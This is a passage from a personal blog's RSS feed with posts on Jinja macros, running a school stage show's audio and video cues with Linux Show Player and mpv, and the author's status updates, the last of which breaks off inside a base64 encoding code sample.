&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{%&lt;/span> &lt;span class="k">endcall&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="c">{# This call would be undefined. #}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="x">&lt;/span>&lt;span class="cp">{{&lt;/span> &lt;span class="nv">question&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;How do you Y?&amp;#34;&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="s2">&amp;#34;You don&amp;#39;t.&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="cp">}}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, for commonly used macros, I like to put them in a separate file called &lt;code>components.jinja&lt;/code> and import them in a base template with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-django" data-lang="django">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">{%&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s2">&amp;#34;components.jinja&amp;#34;&lt;/span> &lt;span class="k">import&lt;/span> &lt;span class="nv">foo&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nv">bar&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="p">...&lt;/span> &lt;span class="cp">%}&lt;/span>&lt;span class="x">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This setup has proven very useful for minimizing repetitive code and increasing readability by decreasing nesting. It also makes it easy to make changes and, when combined with the other basic Jinja features of extending and importing templates, has proven very quick to work with. Starting up a project with this pattern is also easy with a minimal configuration involving only a basic Django project, maybe a couple settings changes, and the inclusion of the TailwindCSS library.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>I should also point out that if you prefer using a CSS framework which is component-based instead of utility-based, you can still leverage macros to your advantage. You also don&amp;rsquo;t need to start from scratch to use macros because they are entirely optional and generally self-contained. You can go through your HTML and simplify small parts at a time, building towards complete conversion.&lt;/p>
&lt;p>Good luck in your future projects, and may these ideas prove useful!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>The &lt;a href="https://tailwindcss.com/docs/utility-first">Utility-First Fundamentals page&lt;/a> on their site describes this and some of the other benefits I find compelling.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>To be clear, my stance on this is of course more nuanced. I think it&amp;rsquo;s okay to place, for instance, error strings in the backend which will get rendered in the frontend. However, in this case, you may end up storing far more content, like paragraphs of text, together with code.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>Production deployment will of course be more complicated, but most of the changes actually involve Django, and the rest of the backend. The only change I make on the frontend is switching out the full TailwindCSS library with a PostCSS setup that only includes the CSS classes I use.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Running a Show with Linux Show Player and mpv</title><link>https://fluix.one/blog/arts-show/</link><pubDate>Tue, 26 Jul 2022 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/arts-show/</guid><description>&lt;p>Back in May, a month before the end of school, the school&amp;rsquo;s art department had planned a live stage show which incorporated drama, visual arts, film, music, and dance. This was the first live performance after several years of public health measures which prevented live audiences and large gathering so, suffice it to say, everyone was excited. I was a core member of the &lt;em>Tech Team&lt;/em> which managed all the technical parts of the performance and really enjoyed the experience. So, here I am writing about the music and projection part of the performance.&lt;/p>
&lt;p>To provide some background, none of us had any formal theater training, and our school isn&amp;rsquo;t very big on theatrical performances, so a lot of this was new and experimental for us. I&amp;rsquo;ve had interest in &lt;a href="https://en.wikipedia.org/wiki/Stagecraft">technical theater&lt;/a> for some time now and decided to take some ideas from there, namely the idea of cues. Essentially, a stage manager calls out cues (in our case, numbers) to people responsible for lights, music, etc. who then &amp;ldquo;take&amp;rdquo; the cue, performing the necessary transition in lights, music, etc. This makes a single person responsible for the timing of the show, but also makes it far simpler to organize, and even more importantly &lt;strong>change&lt;/strong> parts of the show.&lt;/p>
&lt;h2 id="music">Music&lt;/h2>
&lt;p>This might seem like a super simple setup: just drop some files in a folder and double click them to play as necessary. To be honest, that likely would have worked and been &lt;em>good enough&lt;/em>, but I wanted something that better fit this list of objectives I held in my head:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Simple UI&lt;/strong>: if nothing goes wrong, the entire show should be possible by pressing a single key when cued.&lt;/li>
&lt;li>&lt;strong>Adaptable&lt;/strong>: if something does go wrong, skipping, stopping, restarting, reordering should be trivial and asynchronous (i.e. it should be possible to do so without stopping all playback).&lt;/li>
&lt;li>&lt;strong>Flexible&lt;/strong>: it should support music, videos, and a combination thereof at the same time.&lt;/li>
&lt;li>&lt;strong>Reliable&lt;/strong>: it should play music and start videos with minimal latency and without failure or crashes.&lt;/li>
&lt;/ul>
&lt;p>So that music-in-a-folder approach may be adaptable and reliable (depending on chosen media player), but the UI is certainly not simple. You&amp;rsquo;re nearly guaranteed an extra window opening and a method to navigate between the current and next piece requiring either a mouse or the arrow keys. Also, playing a song and a video at the same time &lt;em>could&lt;/em> get complicated. &lt;em>Again, this is probably good enough, but maybe there&amp;rsquo;s a better approach?&lt;/em>&lt;/p>
&lt;h3 id="linux-show-player">Linux Show Player&lt;/h3>
&lt;p>I don&amp;rsquo;t quite recall how I came upon &lt;a href="https://www.linux-show-player.org/">Linux Show Player&lt;/a> — likely while exploring open source cueing or playlist software — but it happened to be exactly what I needed, and not much else: perfect! Here&amp;rsquo;s the main UI:&lt;/p>
&lt;p>&lt;img src="linux_show_player_ui.png" alt="Main list view of Linux Show Player containing a standard navigation bar, list of cues, list of playing tracks, and media actions per-track or globally.">&lt;/p>
&lt;p>I won&amp;rsquo;t describe all the features of Linux Show Player here, but I&amp;rsquo;ll highlight a general overview and our setup — that&amp;rsquo;s what this post is about after all.&lt;/p>
&lt;p>The main section is, of course, the cues, named however you like, which reference audio files (or commands, keep reading) to play. It comes with default numbering, but we added our own because they did not always match our cues. The currently playing tracks are marked with a green circle and shown in the right sidebar, and the little arrow to the left of cue #5 indicates the following cue, #6, will activate at the same time as it. An impossible-to-miss &amp;ldquo;&lt;strong>GO&lt;/strong>&amp;rdquo; button starts playing the highlighted track, as does the space bar. It also moves the highlight to the next song to play that next. This perfectly fits my simple interface criteria and the live show really worked like that: a friend merely pressed the space bar when cued!&lt;/p>
&lt;p>The other UI buttons pause/resume, stop, interrupt (fade-out, then stop), fade in, or fade out either the track or all tracks if using the top-right corner of buttons. The icons are simple, clear, and have help text when hovered over. Also, as per my adaptability requirement, the cues can be dragged around and modified while letting playback continue.&lt;/p>
&lt;p>After setting it up, the main features proved reliable enough for a live performance, so it was time to see whether Linux Show Player was flexible enough to also handle videos.&lt;/p>
&lt;h2 id="projections">Projections&lt;/h2>
&lt;p>At the time of setting up for the performance, and at the time of writing, Linux Show Player does not yet support video cues,&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> but there were several parts in the performance where videos had to be projected on a screen or the stage, once at the same time as music. Specifically, that&amp;rsquo;s the aforementioned cues #5 and #6, where #6 is a short video to be played for the first part of the dance with music cue #5.&lt;/p>
&lt;p>This requirement was why integrating the projection solution with our music solution was &lt;em>ideal&lt;/em> (alongside minimizing the number of tools in our setup). Though really, having the audio embedded in the video file as with the other video cues (#0-3) would have done just fine; I just wanted to display the music in Linux Show Player&amp;rsquo;s sidebar which does not happen for videos.&lt;/p>
&lt;p>Similar to the music, the simplest solution, and the one used every other time, is simply opening a video in any video player, dragging the window to the projector&amp;rsquo;s display, and unpausing. Again, this is &lt;em>good enough&lt;/em>, but it would be a bit more professional to not have audience members seeing the entire process of starting a video.&lt;/p>
&lt;p>Here, the keen-eyed of you might ask: why not just close/turn off/freeze the projector until the video is ready? First off, the projector is several meters off the ground, unreachable without blocking audience members. Also, our projector takes a while to start and displays dialog during startup and shutdown. Freezing the projector on a black screen is indeed an option, but it requires a person peeking out the side of the curtain or sitting near the front of the stage, in front of the audience. There&amp;rsquo;s also no feedback, if I recall correctly, to the person controlling it, so we wouldn&amp;rsquo;t know if the screen was frozen until the video was displayed. To be clear, this may just be the case with our projector. I&amp;rsquo;m sure professional-grade equipment has much better controls.&lt;/p>
&lt;p>But so what was the solution for the non-existent video cues? It&amp;rsquo;s command cues:&lt;/p>
&lt;p>&lt;img src="command_cue.png" alt="">&lt;/p>
&lt;p>This type of cue allows executing an arbitrary command so all that&amp;rsquo;s left is finding a good player, with the definition of &amp;ldquo;good&amp;rdquo; being:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Low Latency&lt;/strong>: once a cue is called, we want the video to play with as little delay as possible.&lt;/li>
&lt;li>&lt;strong>Minimal UI&lt;/strong>: ideally nothing at all, just the video, fullscreen.&lt;/li>
&lt;li>&lt;strong>Configurable&lt;/strong>: which display the video opens on should be configurable.&lt;/li>
&lt;/ul>
&lt;p>My everyday media player actually already fit this description, so I stuck with it.&lt;/p>
&lt;h3 id="mpv">mpv&lt;/h3>
&lt;p>&lt;a href="https://mpv.io/">mpv&lt;/a> is an amazing, open source, cross-platform, media player. It plays music and videos in a wide range of formats, all in a super minimal, but oh-so-configurable, player. It also comes with an IPC server to control playback and the ability to stay open after playing a file. Here&amp;rsquo;s the full config used for the show:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="l">osc=no &lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># disable the video player UI (playback progress, etc.)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">fullscreen &lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># start fullscreened&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">fs-screen=2 &lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># use the second display (the projector)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">keep-open=always&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># don&amp;#39;t quit the entire player after playback ends&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">idle=yes &lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># don&amp;#39;t destroy the player window after playback ends&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">reset-on-next-file=pause&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># reset the pause state (unpause) when a new file&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># is loaded&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="l">input-ipc-server=/tmp/mpvsocket&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># enable the input IPC server to allow&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># controlling playback externally&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Much of this comes from the &lt;a href="https://linux-show-player-users.readthedocs.io/en/latest/command_cue_examples.html#mpv-player">Linux Show Player wiki&lt;/a>, as well as the command cue config&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">MEDIA&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;...&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nb">printf&lt;/span> &lt;span class="s1">&amp;#39;{ &amp;#34;command&amp;#34;: [&amp;#34;loadfile&amp;#34;, &amp;#34;%s&amp;#34;] }\n&amp;#39;&lt;/span> &lt;span class="nv">$MEDIA&lt;/span>&lt;span class="p">|&lt;/span>socat - /tmp/mpvsocket
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With this, the video file specified in &lt;code>$MEDIA&lt;/code> is loaded and immediately played by mpv which is already running on the second display, all controlled by Linux Show Player.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>That&amp;rsquo;s really it: two programs which made up our entire music and projection setup for the show. Is this how it&amp;rsquo;s done professionally? Probably not, but it worked for us. My laptop&amp;rsquo;s audio output was connected to a soundboard where I mixed the music and microphones. The projector was connected through HDMI and some long distance HDMI-ethernet-HDMI converter boxes. Lighting was also done with cues and controlled by a friend on the school&amp;rsquo;s &lt;a href="https://www.etcconnect.com/Products/Consoles/ColorSource/Features.aspx">ETC ColorSource 20&lt;/a>.&lt;/p>
&lt;p>The lead up to the live show was very stressful and somewhat disorganized, but the tech ran without a hitch. I thoroughly enjoyed this experience, learned a lot, strengthened friendships and made some new ones, and will certainly miss it as I go off to university. Good luck to next year&amp;rsquo;s tech team, maybe you&amp;rsquo;ll even base your setup on mine :D&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://github.com/FrancescoCeruti/linux-show-player/issues/3">https://github.com/FrancescoCeruti/linux-show-player/issues/3&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>The purpose of a separate &lt;code>MEDIA&lt;/code> environment variable instead of putting the path directly in to the IPC string is to make it easier to go through multiple cues where the path is right at the start.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>A New Year - December Status Update</title><link>https://fluix.one/blog/new-year-2022/</link><pubDate>Sat, 01 Jan 2022 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/new-year-2022/</guid><description>&lt;p>The first semester of school began and nearly passed, COVID-19 has stayed with us all the same, and I&amp;rsquo;m finally writing another status update as the new year begins. Before I talk about what I&amp;rsquo;ve done in the past four months though, here&amp;rsquo;s a beautiful picture of the James Webb Space Telescope which successfully launched on December 25th, 2021 to soon begin its mission of collecting light from the first galaxies of billions of years ago. I just find it truly spectacular.&lt;/p>
&lt;figure>&lt;img src="webb.png"
alt="James Webb Space Telescope (JWST) as seen from the ESC-D Cryotechnic upper stage shortly after separation, approximately 29 minutes after launch. Part of the Earth with the Gulf of Aden can be seen in the background."/>&lt;figcaption>
&lt;p>Attributed to Arianespace, ESA, NASA, Canadian Space Agency, CNES. Licensed under &lt;a href="https://creativecommons.org/licenses/by/2.0/deed.en">CC BY 2.0&lt;/a>. Edited to crop out some watermarks.&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;p>To start off, let&amp;rsquo;s talk about the projects I mentioned in my previous blog post, sss and tilde. The former is still being worked while the latter has launched after some major code reworks. Check it out at &lt;a href="https://cats.sh/">cats.sh&lt;/a> and join the IRC server — currently the only service. I&amp;rsquo;m hoping to get more services up and running soon and to make it a proper &lt;abbr title="Public unix machine in the spirit of https://tilde.club">tilde&lt;/abbr> with SSH access. If you&amp;rsquo;re interested in specific services, contact me &lt;a href="https://fluix.one/more/#contact">personally&lt;/a> or on the &lt;a href="https://irc.cats.sh">official cats.sh IRC channel&lt;/a>.&lt;/p>
&lt;p>As part of my schooling, I&amp;rsquo;ve been doing a cooperative education placement at Arch Linux and working on a port of &lt;a href="https://aur.archlinux.org/">aurweb&lt;/a> from PHP to Python. I honestly don&amp;rsquo;t have too much to say on that front besides it being a very interesting time learning the new libraries and tools, all while getting to chat with more members of the community. I hope its release is successful, but whatever the case it&amp;rsquo;s been a valuable learning opportunity.&lt;/p>
&lt;p>In the mean time, I&amp;rsquo;ve also done some more artistic work exploring compute shaders. Much of the inspiration comes from a video by &lt;a href="https://www.youtube.com/watch?v=X-iSQQgOd1A">Sebastian Lague&lt;/a> and similar projects like &lt;a href="https://sagejenson.com/physarum">Sage Jenson&amp;rsquo;s Physarum&lt;/a> which, with the help of &lt;a href="https://www.raylib.com/">raylib&lt;/a>, became a little &lt;a href="https://git.sr.ht/~fluix/shaders">graphics project&lt;/a>. Here&amp;rsquo;s some of the beautiful simulations it can do.&lt;/p>
&lt;p>&lt;video width="100%" controls src="slime.mp4">&lt;/video>&lt;/p>
&lt;p>And that&amp;rsquo;s all for this year. I&amp;rsquo;ll try and get to working on an e-Paper display daemon, toying around with my PineTime, and exploring FPGAs with my IceBreaker board in the new year.&lt;/p>
&lt;p>Happy new year, everyone!&lt;/p></description></item><item><title>Many Months, Many Things - August Status Update</title><link>https://fluix.one/blog/status-update-2021-08/</link><pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2021-08/</guid><description>&lt;p>Hey&amp;hellip; it&amp;rsquo;s been a while — three months and ten days, to be exact. Many of you have requested a new blog post but, more importantly, I&amp;rsquo;ve finally been in the mood to write something. So, with the next month under an hour away, here it is!&lt;/p>
&lt;p>To be honest, I haven&amp;rsquo;t been particularly productive in the first few months after my last update. I&amp;rsquo;ve done some thinking about my own motivation, productiveness, and just myself to be honest. I&amp;rsquo;ve definitely figured some things out, at least enough to work on more than one passion projects in just the last month. The first, which I&amp;rsquo;ll briefly mention here, is &lt;a href="https://sr.ht/~fluix/sss/">sss&lt;/a>, a &lt;a href="https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing">Shamir&amp;rsquo;s Secret Sharing&lt;/a> CLI and library implementation. It allows the splitting a secret into &lt;code>$n&lt;/code> shares, of which any &lt;code>$k&lt;/code> can be used to recover it. This project is actually just a small part of a larger idea I have similar to Marcus Wanner&amp;rsquo;s &lt;a href="https://github.com/marcuswanner/futorcap">futurcap&lt;/a>, a cryptographic time-delay system. This project shouldn&amp;rsquo;t take too long to complete, so look out for it in the coming months. The other project I&amp;rsquo;m working on is &lt;a href="https://sr.ht/~fluix/tilde/">here&lt;/a>, but it deserves a dedicated blog post and a bit more work to bring it up scratch. This one will be released sooner, likely a week in to September.&lt;/p>
&lt;p>As nice as it is to write software by yourself, I really like working with others, so I&amp;rsquo;ve done some of that as well. &lt;a href="https://ariadnavigo.xyz/">Ariadna Vigo&lt;/a>&amp;rsquo;s wonderful calculator program, &lt;a href="https://sr.ht/~arivigo/scalc/">scalc&lt;/a>, is a tool I&amp;rsquo;ve become fond of and &lt;a href="https://aur.archlinux.org/packages/scalc/">packaged for the AUR&lt;/a>. Quick shoutout to her for sticking to standards (like POSIX) and using Makefiles, making packaging a breeze. &lt;a href="https://sourcehut.org">Sourcehut&lt;/a> had some issues with its &lt;a href="https://sourcehut.org/consultancy/">consultancy page&lt;/a>, so I went ahead and &lt;a href="https://git.sr.ht/~sircmpwn/sourcehut.org/commit/f085c2070c23e5b540a13b6c4b038306c7826f78">fixed those&lt;/a> while also contributing some &lt;a href="https://lists.sr.ht/~sircmpwn/sr.ht-dev/patches/24499">accessibility improvements related to icon use&lt;/a> on all of the services. Some time ago I began helping out with a new (currently secret) programming language that&amp;rsquo;s being developed, so I added base64 encoding and decoding. A snippet of the encoding subroutine, which I hopefully won&amp;rsquo;t get in too much trouble for, is below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">use&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// The padding character used at the end of encoding.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="n">export&lt;/span> &lt;span class="n">def&lt;/span> &lt;span class="nl">PADDING&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">u8&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nl">u32&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">u8&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Encodes a byte slice using a base 64 encoding alphabet, with padding, and
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// writes it to an [[io::stream]]. The number of bytes written is returned.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="n">export&lt;/span> &lt;span class="n">fn&lt;/span> &lt;span class="nf">encode&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nl">alphabet&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[]&lt;/span>&lt;span class="n">u8&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nl">sink&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">::&lt;/span>&lt;span class="n">stream&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nl">b&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[]&lt;/span>&lt;span class="n">u8&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">size&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">::&lt;/span>&lt;span class="n">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">let&lt;/span> &lt;span class="n">z&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">z&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">let&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">z&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nf">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">z&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">::&lt;/span>&lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sink&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0xf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alphabet&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x3F&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">])&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">z&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">::&lt;/span>&lt;span class="nf">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sink&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>
